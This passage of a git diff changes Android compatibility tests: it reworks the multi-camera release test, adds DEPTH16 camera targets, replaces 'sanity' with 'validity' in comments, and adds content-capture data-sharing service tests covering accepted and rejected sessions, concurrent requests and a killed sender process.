-            assertEquals("Got camera error callback.", NO_ERROR, mCameraErrorCode);
+            assertEquals("Got camera error callback.", NO_ERROR, errorCode);
         }
     }
 
@@ -342,6 +374,15 @@
         }
     }
 
+    // parent independent version of TestErrorCallback
+    private static final class TestErrorCallbackI implements ErrorCallback {
+        private int mCameraErrorCode = NO_ERROR;
+        public void onError(int error, Camera camera) {
+            Log.e(TAG, "Got camera error=" + error);
+            mCameraErrorCode = error;
+        }
+    }
+
     private final class AutoFocusCallback
             implements android.hardware.Camera.AutoFocusCallback {
         public void onAutoFocus(boolean success, Camera camera) {
@@ -1004,9 +1045,9 @@
     }
 
     /**
-     * Sanity check of some extra exif tags.
+     * Correctness check of some extra exif tags.
      * <p>
-     * Sanity check some extra exif tags without asserting the check failures
+     * Check some extra exif tags without asserting the check failures
      * immediately. When a failure is detected, the failure cause is logged,
      * the rest of the tests are still executed. The caller can assert with the
      * failure cause based on the returned test status.
@@ -1330,7 +1371,7 @@
             recorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
             recorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
             recorder.setVideoSize(size.width, size.height);
-            recorder.setOutputFile("/dev/null");
+            recorder.setOutputFile(mRecordingPath);
             recorder.setPreviewDisplay(holder.getSurface());
             recorder.prepare();
             recorder.start();
@@ -1377,7 +1418,7 @@
             recorder.setAudioSource(MediaRecorder.AudioSource.CAMCORDER);
             recorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
             recorder.setProfile(profile);
-            recorder.setOutputFile("/dev/null");
+            recorder.setOutputFile(mRecordingPath);
             recorder.setPreviewDisplay(holder.getSurface());
             recorder.prepare();
             recorder.start();
@@ -2552,54 +2593,53 @@
         testCamera0.release();
         testCamera1.release();
 
-        // Start first camera
-        if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Opening camera 0");
-        initializeMessageLooper(0);
-        SimplePreviewStreamCb callback0 = new SimplePreviewStreamCb(0);
-        mCamera.setPreviewCallback(callback0);
+        LooperInfo looperInfo0 = new LooperInfo();
+        LooperInfo looperInfo1 = new LooperInfo();
+
+        ConditionVariable previewDone0 = new ConditionVariable();
+        ConditionVariable previewDone1 = new ConditionVariable();
+        // Open both cameras camera
+        if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Opening cameras 0 and 1");
+        TestErrorCallbackI errorCallback0 = new TestErrorCallbackI();
+        TestErrorCallbackI errorCallback1 = new TestErrorCallbackI();
+        initializeMessageLooper(0, errorCallback0, looperInfo0);
+        initializeMessageLooper(1, errorCallback1, looperInfo1);
+
+        SimplePreviewStreamCbI callback0 = new SimplePreviewStreamCbI(0, previewDone0);
+        looperInfo0.camera.setPreviewCallback(callback0);
         if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Starting preview on camera 0");
-        mCamera.startPreview();
+        looperInfo0.camera.startPreview();
         // Run preview for a bit
         for (int f = 0; f < 100; f++) {
-            mPreviewDone.close();
+            previewDone0.close();
             assertTrue("testMultiCameraRelease: First camera preview timed out on frame " + f + "!",
-                       mPreviewDone.block( WAIT_FOR_COMMAND_TO_COMPLETE));
+                       previewDone0.block( WAIT_FOR_COMMAND_TO_COMPLETE));
         }
         if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Stopping preview on camera 0");
-        mCamera.stopPreview();
-        // Save message looper and camera to deterministically release them, instead
-        // of letting GC do it at some point.
-        Camera firstCamera = mCamera;
-        Looper firstLooper = mLooper;
-        //terminateMessageLooper(); // Intentionally not calling this
-        // Preview surface should be released though!
-        mCamera.setPreviewDisplay(null);
+        looperInfo0.camera.stopPreview();
 
-        // Start second camera without releasing the first one (will
-        // set mCamera and mLooper to new objects)
-        if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Opening camera 1");
-        initializeMessageLooper(1);
-        SimplePreviewStreamCb callback1 = new SimplePreviewStreamCb(1);
-        mCamera.setPreviewCallback(callback1);
+        // Preview surface should be released though!
+        looperInfo0.camera.setPreviewDisplay(null);
+
+        SimplePreviewStreamCbI callback1 = new SimplePreviewStreamCbI(1, previewDone1);
+        looperInfo1.camera.setPreviewCallback(callback1);
         if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Starting preview on camera 1");
-        mCamera.startPreview();
-        // Run preview for a bit - GC of first camera instance should not impact the second's
-        // operation.
+        looperInfo1.camera.startPreview();
         for (int f = 0; f < 100; f++) {
-            mPreviewDone.close();
+            previewDone1.close();
             assertTrue("testMultiCameraRelease: Second camera preview timed out on frame " + f + "!",
-                       mPreviewDone.block( WAIT_FOR_COMMAND_TO_COMPLETE));
+                       previewDone1.block( WAIT_FOR_COMMAND_TO_COMPLETE));
             if (f == 50) {
                 // Release first camera mid-preview, should cause no problems
                 if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Releasing camera 0");
-                firstCamera.release();
+                looperInfo0.camera.release();
             }
         }
-        if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Stopping preview on camera 0");
-        mCamera.stopPreview();
+        if (VERBOSE) Log.v(TAG, "testMultiCameraRelease: Stopping preview on camera 1");
+        looperInfo1.camera.stopPreview();
 
-        firstLooper.quit();
-        terminateMessageLooper(true/*allowEvict*/);
+        looperInfo0.looper.quit();
+        terminateMessageLooper(true, errorCallback1.mCameraErrorCode, looperInfo1);
     }
 
     // This callback just signals on the condition variable, making it useful for checking that
@@ -2616,6 +2656,21 @@
         }
     }
 
+    // Parent independent version of SimplePreviewStreamCb
+    private static final class SimplePreviewStreamCbI
+            implements android.hardware.Camera.PreviewCallback {
+        private int mId;
+        private ConditionVariable mPreviewDone = null;
+        public SimplePreviewStreamCbI(int id, ConditionVariable previewDone) {
+            mId = id;
+            mPreviewDone = previewDone;
+        }
+        public void onPreviewFrame(byte[] data, android.hardware.Camera camera) {
+            if (VERBOSE) Log.v(TAG, "Preview frame callback, id " + mId + ".");
+            mPreviewDone.open();
+        }
+    }
+
     @UiThreadTest
     @Test
     public void testFocusAreas() throws Exception {
@@ -2862,7 +2917,7 @@
             recorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
             recorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
             recorder.setVideoSize(size.width, size.height);
-            recorder.setOutputFile("/dev/null");
+            recorder.setOutputFile(mRecordingPath);
             recorder.setPreviewDisplay(holder.getSurface());
             recorder.prepare();
             recorder.start();
@@ -2883,7 +2938,7 @@
             recorder.setAudioSource(MediaRecorder.AudioSource.CAMCORDER);
             recorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
             recorder.setProfile(profile);
-            recorder.setOutputFile("/dev/null");
+            recorder.setOutputFile(mRecordingPath);
             recorder.setPreviewDisplay(holder.getSurface());
             recorder.prepare();
             recorder.start();
@@ -3338,7 +3393,7 @@
                 recorder.setAudioSource(MediaRecorder.AudioSource.CAMCORDER);
                 recorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
                 recorder.setProfile(profile);
-                recorder.setOutputFile("/dev/null");
+                recorder.setOutputFile(mRecordingPath);
                 recorder.setPreviewDisplay(holder.getSurface());
                 recorder.prepare();
                 recorder.start();
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index 9561eb0..9866070 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -209,7 +209,7 @@
             List<SurfaceTexture> privTargets, List<ImageReader> jpegTargets,
             List<ImageReader> yuvTargets, List<ImageReader> y8Targets,
             List<ImageReader> rawTargets, List<ImageReader> heicTargets,
-            List<OutputConfiguration> outputConfigs,
+            List<ImageReader> depth16Targets, List<OutputConfiguration> outputConfigs,
             int numBuffers, boolean substituteY8, boolean substituteHeic,
             String overridePhysicalCameraId, Handler handler) {
 
@@ -307,6 +307,18 @@
                     heicTargets.add(target);
                     break;
                 }
+                case ImageFormat.DEPTH16: {
+                    ImageReader target = ImageReader.newInstance(targetSize.getWidth(),
+                            targetSize.getHeight(), format, numBuffers);
+                    target.setOnImageAvailableListener(imageDropperListener, handler);
+                    OutputConfiguration config = new OutputConfiguration(target.getSurface());
+                    if (overridePhysicalCameraId != null) {
+                        config.setPhysicalCameraId(overridePhysicalCameraId);
+                    }
+                    outputConfigs.add(config);
+                    depth16Targets.add(target);
+                    break;
+                }
                 default:
                     fail("Unknown output format " + format);
             }
@@ -395,7 +407,7 @@
                 image = reader.acquireNextImage();
             } finally {
                 if (image != null) {
-                    // Should only do some quick sanity check in callback, as the ImageReader
+                    // Should only do some quick validity checks in callback, as the ImageReader
                     // could be closed asynchronously, which will close all images acquired from
                     // this ImageReader.
                     checkImage(image, mSize.getWidth(), mSize.getHeight(), mFormat);
@@ -2443,7 +2455,7 @@
     /**
      * Simple validation of JPEG image size and format.
      * <p>
-     * Only validate the image object sanity. It is fast, but doesn't actually
+     * Only validate the image object basic correctness. It is fast, but doesn't actually
      * check the buffer data. Assert is used here as it make no sense to
      * continue the test if the jpeg image captured has some serious failures.
      * </p>
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/Preconditions.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/Preconditions.java
index cb9e522..bef3e26 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/Preconditions.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/Preconditions.java
@@ -22,7 +22,7 @@
 /**
  * Helper set of methods to perform precondition checks before starting method execution.
  *
- * <p>Typically used to sanity check arguments or the current object state.</p>
+ * <p>Typically used to validity check arguments or the current object state.</p>
  */
 public final class Preconditions {
 
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
index 332964c..a05af2a 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
@@ -518,7 +518,7 @@
     }
 
     /**
-     * Get max AE regions and do sanity check.
+     * Get max AE regions and do validity check.
      *
      * @return AE max regions supported by the camera device
      */
@@ -531,7 +531,7 @@
     }
 
     /**
-     * Get max AWB regions and do sanity check.
+     * Get max AWB regions and do validity check.
      *
      * @return AWB max regions supported by the camera device
      */
@@ -544,7 +544,7 @@
     }
 
     /**
-     * Get max AF regions and do sanity check.
+     * Get max AF regions and do validity check.
      *
      * @return AF max regions supported by the camera device
      */
@@ -628,7 +628,7 @@
     }
 
     /**
-     * Get available thumbnail sizes and do the sanity check.
+     * Get available thumbnail sizes and do the validity check.
      *
      * @return The array of available thumbnail sizes
      */
@@ -656,7 +656,7 @@
     }
 
     /**
-     * Get available focal lengths and do the sanity check.
+     * Get available focal lengths and do the validity check.
      *
      * @return The array of available focal lengths
      */
@@ -677,7 +677,7 @@
     }
 
     /**
-     * Get available apertures and do the sanity check.
+     * Get available apertures and do the validity check.
      *
      * @return The non-null array of available apertures
      */
@@ -992,7 +992,7 @@
     }
 
     /**
-     * Get hyperfocalDistance and do the sanity check.
+     * Get hyperfocalDistance and do the validity check.
      * <p>
      * Note that, this tag is optional, will return -1 if this tag is not
      * available.
@@ -1151,7 +1151,7 @@
     }
 
     /**
-     * get android.control.availableModes and do the sanity check.
+     * get android.control.availableModes and do the validity check.
      *
      * @return available control modes.
      */
@@ -1207,7 +1207,7 @@
     }
 
     /**
-     * Get aeAvailableModes and do the sanity check.
+     * Get aeAvailableModes and do the validity check.
      *
      * <p>Depending on the check level this class has, for WAR or COLLECT levels,
      * If the aeMode list is invalid, return an empty mode array. The the caller doesn't
@@ -1277,7 +1277,7 @@
     }
 
     /**
-     * Get available AWB modes and do the sanity check.
+     * Get available AWB modes and do the validity check.
      *
      * @return array that contains available AWB modes, empty array if awbAvailableModes is
      * unavailable.
@@ -1303,7 +1303,7 @@
     }
 
     /**
-     * Get available AF modes and do the sanity check.
+     * Get available AF modes and do the validity check.
      *
      * @return array that contains available AF modes, empty array if afAvailableModes is
      * unavailable.
@@ -1691,7 +1691,7 @@
     }
 
     /**
-     * Get value of key android.control.aeCompensationStep and do the sanity check.
+     * Get value of key android.control.aeCompensationStep and do the validity check.
      *
      * @return default value if the value is null.
      */
@@ -1716,7 +1716,7 @@
     }
 
     /**
-     * Get value of key android.control.aeCompensationRange and do the sanity check.
+     * Get value of key android.control.aeCompensationRange and do the validity check.
      *
      * @return default value if the value is null or malformed.
      */
@@ -1746,7 +1746,7 @@
     }
 
     /**
-     * Get availableVideoStabilizationModes and do the sanity check.
+     * Get availableVideoStabilizationModes and do the validity check.
      *
      * @return available video stabilization modes, empty array if it is unavailable.
      */
@@ -1777,7 +1777,7 @@
     }
 
     /**
-     * Get availableOpticalStabilization and do the sanity check.
+     * Get availableOpticalStabilization and do the validity check.
      *
      * @return available optical stabilization modes, empty array if it is unavailable.
      */
@@ -1967,7 +1967,7 @@
     }
 
     /**
-     * Get max pipeline depth and do the sanity check.
+     * Get max pipeline depth and do the validity check.
      *
      * @return max pipeline depth, default value if it is not available.
      */
@@ -2033,7 +2033,7 @@
 
 
     /**
-     * Get available capabilities and do the sanity check.
+     * Get available capabilities and do the validity check.
      *
      * @return reported available capabilities list, empty list if the value is unavailable.
      */
@@ -2299,7 +2299,7 @@
     }
 
     /**
-     * Get max number of output raw streams and do the basic sanity check.
+     * Get max number of output raw streams and do the basic validity check.
      *
      * @return reported max number of raw output stream
      */
@@ -2312,7 +2312,7 @@
     }
 
     /**
-     * Get max number of output processed streams and do the basic sanity check.
+     * Get max number of output processed streams and do the basic validity check.
      *
      * @return reported max number of processed output stream
      */
@@ -2325,7 +2325,7 @@
     }
 
     /**
-     * Get max number of output stalling processed streams and do the basic sanity check.
+     * Get max number of output stalling processed streams and do the basic validity check.
      *
      * @return reported max number of stalling processed output stream
      */
@@ -2338,7 +2338,7 @@
     }
 
     /**
-     * Get lens facing and do the sanity check
+     * Get lens facing and do the validity check
      * @return lens facing, return default value (BACK) if value is unavailable.
      */
     public int getLensFacingChecked() {
diff --git a/tests/contentcaptureservice/AndroidManifest.xml b/tests/contentcaptureservice/AndroidManifest.xml
index f5da8af..a4b456e 100644
--- a/tests/contentcaptureservice/AndroidManifest.xml
+++ b/tests/contentcaptureservice/AndroidManifest.xml
@@ -127,6 +127,14 @@
             </intent-filter>
         </service>
 
+        <service
+            android:name=".DataSharingService"
+            android:label="DataSharingService" />
+        <service
+            android:name=".OutOfProcessDataSharingService"
+            android:label="OutOfProcessDataSharingService"
+            android:process=":android.contentcapture.cts.outside" />
+
     </application>
 
     <instrumentation
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsContentCaptureService.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsContentCaptureService.java
index 6f462a1..979b2af 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsContentCaptureService.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsContentCaptureService.java
@@ -138,7 +138,7 @@
     /**
      * Whether the service should accept a data share session.
      */
-    private boolean mDataShareShouldAccept = false;
+    private boolean mDataSharingEnabled = false;
 
     /**
      * Bytes that were shared during the content capture
@@ -152,6 +152,7 @@
     boolean mDataShareSessionFinished = false;
     boolean mDataShareSessionSucceeded = false;
     int mDataShareSessionErrorCode = 0;
+    DataShareRequest mDataShareRequest;
 
     @NonNull
     public static ServiceWatcher setServiceWatcher() {
@@ -326,7 +327,8 @@
 
     @Override
     public void onDataShareRequest(DataShareRequest request, DataShareCallback callback) {
-        if (mDataShareShouldAccept) {
+        if (mDataSharingEnabled) {
+            mDataShareRequest = request;
             callback.onAccept(sExecutor, new DataShareReadAdapter() {
                 @Override
                 public void onStart(ParcelFileDescriptor fd) {
@@ -427,7 +429,7 @@
     }
 
     public void setDataSharingEnabled(boolean enabled) {
-        this.mDataShareShouldAccept = enabled;
+        this.mDataSharingEnabled = enabled;
     }
 
     @Override
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/DataSharingActivity.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/DataSharingActivity.java
index 1964abf..a56ab1c 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/DataSharingActivity.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/DataSharingActivity.java
@@ -36,6 +36,8 @@
 
     private static final Executor sExecutor = Executors.newCachedThreadPool();
     private static final Random sRandom = new Random();
+    private static final String sLocusId = "DataShare_CTSTest";
+    private static final String sMimeType = "application/octet-stream";
 
     boolean mSessionFinished = false;
     boolean mSessionSucceeded = false;
@@ -54,7 +56,7 @@
         assertThat(manager.isContentCaptureEnabled()).isTrue();
 
         manager.shareData(
-                new DataShareRequest(new LocusId("cts"), "application/octet-stream"),
+                new DataShareRequest(new LocusId(sLocusId), sMimeType),
                 sExecutor, new DataShareWriteAdapter() {
                     @Override
                     public void onWrite(ParcelFileDescriptor destination) {
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/DataSharingService.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/DataSharingService.java
new file mode 100644
index 0000000..d1f0c6a
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/DataSharingService.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.contentcaptureservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.LocusId;
+import android.os.Binder;
+import android.os.IBinder;
+import android.os.ParcelFileDescriptor;
+import android.view.contentcapture.ContentCaptureManager;
+import android.view.contentcapture.DataShareRequest;
+import android.view.contentcapture.DataShareWriteAdapter;
+
+import androidx.annotation.Nullable;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.util.Random;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+
+public class DataSharingService extends Service {
+    private static final Executor sExecutor = Executors.newCachedThreadPool();
+    private static final Random sRandom = new Random();
+
+    boolean mSessionFinished = false;
+    boolean mSessionSucceeded = false;
+    int mSessionErrorCode = 0;
+    boolean mSessionRejected = false;
+    boolean mShouldAttemptConcurrentRequest = false;
+    boolean mConcurrentRequestFailed = false;
+    int mConcurrentRequestErrorCode = 0;
+    byte[] mDataWritten = new byte[10_000];
+    String mLocusId = "DataShare_CTSTest";
+    String mMimeType = "application/octet-stream";
+
+    private final IBinder mBinder = new LocalBinder();
+
+    @Nullable
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mBinder;
+    }
+
+    public void shareData() {
+        ContentCaptureManager manager =
+                getApplicationContext().getSystemService(ContentCaptureManager.class);
+
+        assertThat(manager).isNotNull();
+        assertThat(manager.isContentCaptureEnabled()).isTrue();
+
+        manager.shareData(
+                new DataShareRequest(new LocusId(mLocusId), mMimeType),
+                sExecutor, new DataShareWriteAdapter() {
+                    @Override
+                    public void onWrite(ParcelFileDescriptor destination) {
+                        if (mShouldAttemptConcurrentRequest) {
+                            attemptConcurrentRequest();
+                        }
+                        try (OutputStream outputStream =
+                                     new ParcelFileDescriptor.AutoCloseOutputStream(destination)) {
+                            sRandom.nextBytes(mDataWritten);
+                            outputStream.write(mDataWritten);
+                            mSessionSucceeded = true;
+                        } catch (IOException e) {
+                        }
+
+                        mSessionFinished = true;
+                    }
+
+                    @Override
+                    public void onRejected() {
+                        mSessionRejected = true;
+                        mSessionSucceeded = false;
+                        mSessionFinished = true;
+                    }
+
+                    @Override
+                    public void onError(int errorCode) {
+                        mSessionErrorCode = errorCode;
+                        mSessionSucceeded = false;
+                        mSessionFinished = true;
+                    }
+                });
+    }
+
+    private void attemptConcurrentRequest() {
+        ContentCaptureManager manager =
+                getApplicationContext().getSystemService(ContentCaptureManager.class);
+
+        assertThat(manager).isNotNull();
+        assertThat(manager.isContentCaptureEnabled()).isTrue();
+
+        manager.shareData(
+                new DataShareRequest(new LocusId(mLocusId), mMimeType),
+                sExecutor, new DataShareWriteAdapter() {
+                    @Override
+                    public void onWrite(ParcelFileDescriptor destination) {}
+
+                    @Override
+                    public void onRejected() {}
+
+                    @Override
+                    public void onError(int errorCode) {
+                        mConcurrentRequestFailed = true;
+                        mConcurrentRequestErrorCode = errorCode;
+                    }
+                });
+    }
+
+    public void setLocusId(String locusId) {
+        mLocusId = locusId;
+    }
+
+    public void setMimeType(String mimeType) {
+        mMimeType = mimeType;
+    }
+
+    public void setShouldAttemptConcurrentRequest(boolean attemptConcurrentRequest) {
+        mShouldAttemptConcurrentRequest = attemptConcurrentRequest;
+    }
+
+    public class LocalBinder extends Binder {
+        DataSharingService getService() {
+            return DataSharingService.this;
+        }
+    }
+
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/DataSharingServiceTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/DataSharingServiceTest.java
new file mode 100644
index 0000000..421a5bd
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/DataSharingServiceTest.java
@@ -0,0 +1,168 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.contentcaptureservice.cts;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Intent;
+import android.view.contentcapture.ContentCaptureManager;
+
+import androidx.annotation.NonNull;
+import androidx.test.rule.ServiceTestRule;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.rules.TestRule;
+
+import java.util.Arrays;
+
+public class DataSharingServiceTest extends AbstractContentCaptureIntegrationTest {
+
+    public final ServiceTestRule mServiceRule = new ServiceTestRule();
+
+    private DataSharingService.LocalBinder mBinder;
+
+    public static KillingStage sKillingStage = KillingStage.NONE;
+
+    enum KillingStage {
+        NONE,
+        BEFORE_WRITE,
+        DURING_WRITE
+    }
+
+    @NonNull
+    @Override
+    protected TestRule getMainTestRule() {
+        return (base, description) -> base;
+    }
+
+    @Before
+    public void setup() throws Exception {
+        sKillingStage = KillingStage.NONE;
+        mBinder = (DataSharingService.LocalBinder)
+                mServiceRule.bindService(
+                        new Intent(getApplicationContext(), DataSharingService.class));
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mServiceRule.unbindService();
+    }
+
+    @Test
+    public void testDataSharingSessionAccepted() throws Exception {
+        DataSharingService dataSharingService = mBinder.getService();
+        CtsContentCaptureService ccService = enableService();
+
+        ccService.setDataSharingEnabled(true);
+        dataSharingService.shareData();
+
+        PollingCheck.waitFor(() -> dataSharingService.mSessionFinished);
+        PollingCheck.waitFor(() -> ccService.mDataShareSessionFinished);
+
+        assertThat(dataSharingService.mSessionSucceeded).isTrue();
+        assertThat(ccService.mDataShareSessionSucceeded).isTrue();
+
+        assertThat(Arrays.copyOfRange(ccService.mDataShared, 0,
+                dataSharingService.mDataWritten.length))
+                .isEqualTo(dataSharingService.mDataWritten);
+    }
+
+    @Test
+    public void testDataSharingSessionRejected() throws Exception {
+        DataSharingService dataSharingService = mBinder.getService();
+        CtsContentCaptureService ccService = enableService();
+
+        ccService.setDataSharingEnabled(false);
+        dataSharingService.shareData();
+
+        PollingCheck.waitFor(() -> dataSharingService.mSessionFinished);
+        PollingCheck.waitFor(() -> ccService.mDataShareSessionFinished);
+
+        assertThat(dataSharingService.mSessionSucceeded).isFalse();
+        assertThat(ccService.mDataShareSessionSucceeded).isFalse();
+    }
+
+    @Test
+    public void testDataShareRequest_valuesPropagatedToReceiver() throws Exception {
+        DataSharingService dataSharingService = mBinder.getService();
+        CtsContentCaptureService ccService = enableService();
+
+        ccService.setDataSharingEnabled(true);
+        dataSharingService.shareData();
+
+        PollingCheck.waitFor(() -> dataSharingService.mSessionFinished);
+        PollingCheck.waitFor(() -> ccService.mDataShareSessionFinished);
+
+        assertThat(ccService.mDataShareRequest.getLocusId().getId()).isEqualTo("DataShare_CTSTest");
+        assertThat(ccService.mDataShareRequest.getMimeType()).isEqualTo("application/octet-stream");
+        assertThat(ccService.mDataShareRequest.getPackageName()).isEqualTo(
+                "android.contentcaptureservice.cts");
+    }
+
+    @Test
+    public void testDataSharingSessionError_concurrentRequests() throws Exception {
+        DataSharingService dataSharingService = mBinder.getService();
+        CtsContentCaptureService ccService = enableService();
+
+        ccService.setDataSharingEnabled(true);
+        dataSharingService.setShouldAttemptConcurrentRequest(true);
+        dataSharingService.shareData();
+
+        PollingCheck.waitFor(() -> dataSharingService.mSessionFinished);
+        PollingCheck.waitFor(() -> ccService.mDataShareSessionFinished);
+
+        assertThat(dataSharingService.mConcurrentRequestFailed).isTrue();
+        assertThat(dataSharingService.mConcurrentRequestErrorCode).isEqualTo(
+                ContentCaptureManager.DATA_SHARE_ERROR_CONCURRENT_REQUEST);
+    }
+
+    @Test
+    public void testDataSharingSessionError_senderWasKilledBeforeWrite() throws Exception {
+        CtsContentCaptureService ccService = enableService();
+
+        ccService.setDataSharingEnabled(true);
+        sKillingStage = KillingStage.BEFORE_WRITE;
+        getApplicationContext().startService(
+                new Intent(getApplicationContext(), OutOfProcessDataSharingService.class));
+
+        PollingCheck.waitFor(() -> ccService.mDataShareSessionErrorCode > 0);
+
+        assertThat(ccService.mDataShareSessionErrorCode).isEqualTo(
+                ContentCaptureManager.DATA_SHARE_ERROR_UNKNOWN);
+    }
+
+    @Test
+    public void testDataSharingSessionError_senderWasKilledDuringWrite() throws Exception {
+        CtsContentCaptureService ccService = enableService();
+
+        ccService.setDataSharingEnabled(true);
+        sKillingStage = KillingStage.DURING_WRITE;
+        getApplicationContext().startService(
+                new Intent(getApplicationContext(), OutOfProcessDataSharingService.class));
+
+        PollingCheck.waitFor(() -> ccService.mDataShareSessionErrorCode > 0);
+
+        assertThat(ccService.mDataShareSessionErrorCode).isEqualTo(
+                ContentCaptureManager.DATA_SHARE_ERROR_UNKNOWN);
+    }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/OutOfProcessDataSharingService.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/OutOfProcessDataSharingService.java
new file mode 100644
index 0000000..23153e6
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/OutOfProcessDataSharingService.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.contentcaptureservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.LocusId;
+import android.os.Binder;
+import android.os.IBinder;
+import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.view.contentcapture.ContentCaptureManager;
+import android.view.contentcapture.DataShareRequest;
+import android.view.contentcapture.DataShareWriteAdapter;
+
+import androidx.annotation.Nullable;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.util.Random;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+
+public class OutOfProcessDataSharingService extends Service {
+    private static final Executor sExecutor = Executors.newCachedThreadPool();
+    private static final Random sRandom = new Random();
+
+    boolean mSessionFinished = false;
+    boolean mSessionSucceeded = false;
+    int mSessionErrorCode = 0;
+    boolean mSessionRejected = false;
+    byte[] mDataWritten = new byte[10_000];
+    String mLocusId = "DataShare_CTSTest";
+    String mMimeType = "application/octet-stream";
+
+    private final IBinder mBinder = new LocalBinder();
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        shareData();
+        return START_NOT_STICKY;
+    }
+
+    @Nullable
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mBinder;
+    }
+
+    private void shareData() {
+        ContentCaptureManager manager =
+                getApplicationContext().getSystemService(ContentCaptureManager.class);
+
+        assertThat(manager).isNotNull();
+        assertThat(manager.isContentCaptureEnabled()).isTrue();
+
+        manager.shareData(
+                new DataShareRequest(new LocusId(mLocusId), mMimeType),
+                sExecutor, new DataShareWriteAdapter() {
+                    @Override
+                    public void onWrite(ParcelFileDescriptor destination) {
+                        try (OutputStream outputStream =
+                                     new ParcelFileDescriptor.AutoCloseOutputStream(destination)) {
+                            if (DataSharingServiceTest.sKillingStage
+                                    == DataSharingServiceTest.KillingStage.BEFORE_WRITE) {
+                                Process.killProcess(Process.myPid());
+                                return;
+                            }
+                            sRandom.nextBytes(mDataWritten);
+                            outputStream.write(mDataWritten);
